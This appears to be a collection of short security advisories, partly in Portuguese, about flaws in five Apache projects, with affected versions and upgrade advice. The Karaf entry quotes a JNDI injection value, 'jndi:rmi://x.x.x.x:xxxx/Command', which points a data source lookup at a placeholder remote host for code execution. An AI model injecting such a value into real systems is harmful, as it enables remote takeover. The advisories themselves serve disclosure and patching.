Xun Bai

**Nome do software vulnerável e versões afetadas** Versões do Apache Pinot de 0.1 a 1.0.0 **Descrição** A vulnerabilidade afeta o Apache Pinot, permitindo a exposição de informações confidenciais a agentes não autorizados. Quando uma solicitação é feita para o caminho `/appconfigs`, isso pode levar à divulgação de informações do sistema, informações do ambiente e configurações do Pinot. Essa vulnerabilidade foi corrigida com a implementação do Controle de Acesso Baseado em Funções (RBAC), que permite o controle de acesso ao endpoint `/appConfigs` e a outras APIs, restringindo o acesso apenas a usuários autorizados. **Recomendações** Para resolver o problema, recomenda-se que os usuários atualizem para a versão 1.0.0 e configurem o RBAC, o que corrige a falha. Além disso, os usuários precisam adicionar a função de administrador de acordo com o guia do RBAC para controlar o acesso ao endpoint `/appconfigs`.

**Nome do software vulnerável e versões afetadas** Apache DolphinScheduler, versões 3.1.0 a 3.2.1 **Descrição** Existe uma vulnerabilidade de leitura e gravação de arquivos no Apache DolphinScheduler, permitindo que usuários autenticados acessem ilegalmente arquivos de recursos adicionais. **Recomendações** Para as versões 3.1.0 a 3.2.1 do Apache DolphinScheduler, atualize para a versão 3.2.2 para corrigir o problema.

**Name of the Vulnerable Software and Affected Versions** Apache StreamPipes versions 0.69.0 through 0.91.0 **Description** A REST interface in Apache StreamPipes was not properly restricted to admin-only access. This allowed a non-admin user with valid login credentials to elevate privileges beyond the initially assigned roles. **Recommendations** For Apache StreamPipes versions 0.69.0 through 0.91.0, upgrade to StreamPipes 0.92.0 to resolve the issue. As a temporary workaround, consider restricting access to the REST interface to minimize the risk of exploitation.

**Name of the Vulnerable Software and Affected Versions** Apache Sling JCR Base versions prior to 3.1.12 **Description** The issue is related to a critical injection vulnerability in Apache Sling JCR Base when running on old JDK versions, specifically JDK 1.8.191 or earlier. This vulnerability occurs through utility functions in RepositoryAccessor, particularly the `getRepository` and `getRepositoryFromURL` functions, which allow an application to access data stored in a remote location via JDNI and RMI. **Recommendations** For Apache Sling JCR Base versions prior to 3.1.12, upgrade to Apache Sling JCR Base 3.1.12 or later. Alternatively, run Apache Sling JCR Base on a more recent JDK version to mitigate the issue.

**Nome do software vulnerável e versões afetadas** Versões do Apache Karaf anteriores à 4.4.2 e à 4.3.8 **Descrição** Este problema diz respeito a uma potencial injeção de código quando um invasor tem controle do servidor LDAP alvo usando a URL JDBC JNDI. A função `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` utiliza `InitialContext.lookup(jndiName)` sem filtragem. Um usuário pode modificar `options.put(JDBCUtils.DATASOURCE, “osgi:” + DataSource.class.getName());` para `options.put(JDBCUtils.DATASOURCE,“jndi:rmi://x.x.x.x:xxxx/Command”);` em `JdbcLoginModuleTest#setup`. Isso é vulnerável a um ataque de execução remota de código (RCE) quando uma configuração usa uma URI de fonte de dados JNDI LDAP e um invasor tem controle do servidor LDAP de destino. **Recomendações** Para resolver o problema, atualize para a versão 4.4.2 ou 4.3.8 do Apache Karaf. Como solução temporária, considere restringir o uso da função `JDBCUtils#doCreateDatasource` até que um patch esteja disponível. Evite usar a configuração `options.put(JDBCUtils.DATASOURCE,“jndi:rmi://x.x.x.x:xxxx/Command”);` em `JdbcLoginModuleTest#setup` para minimizar o risco de exploração.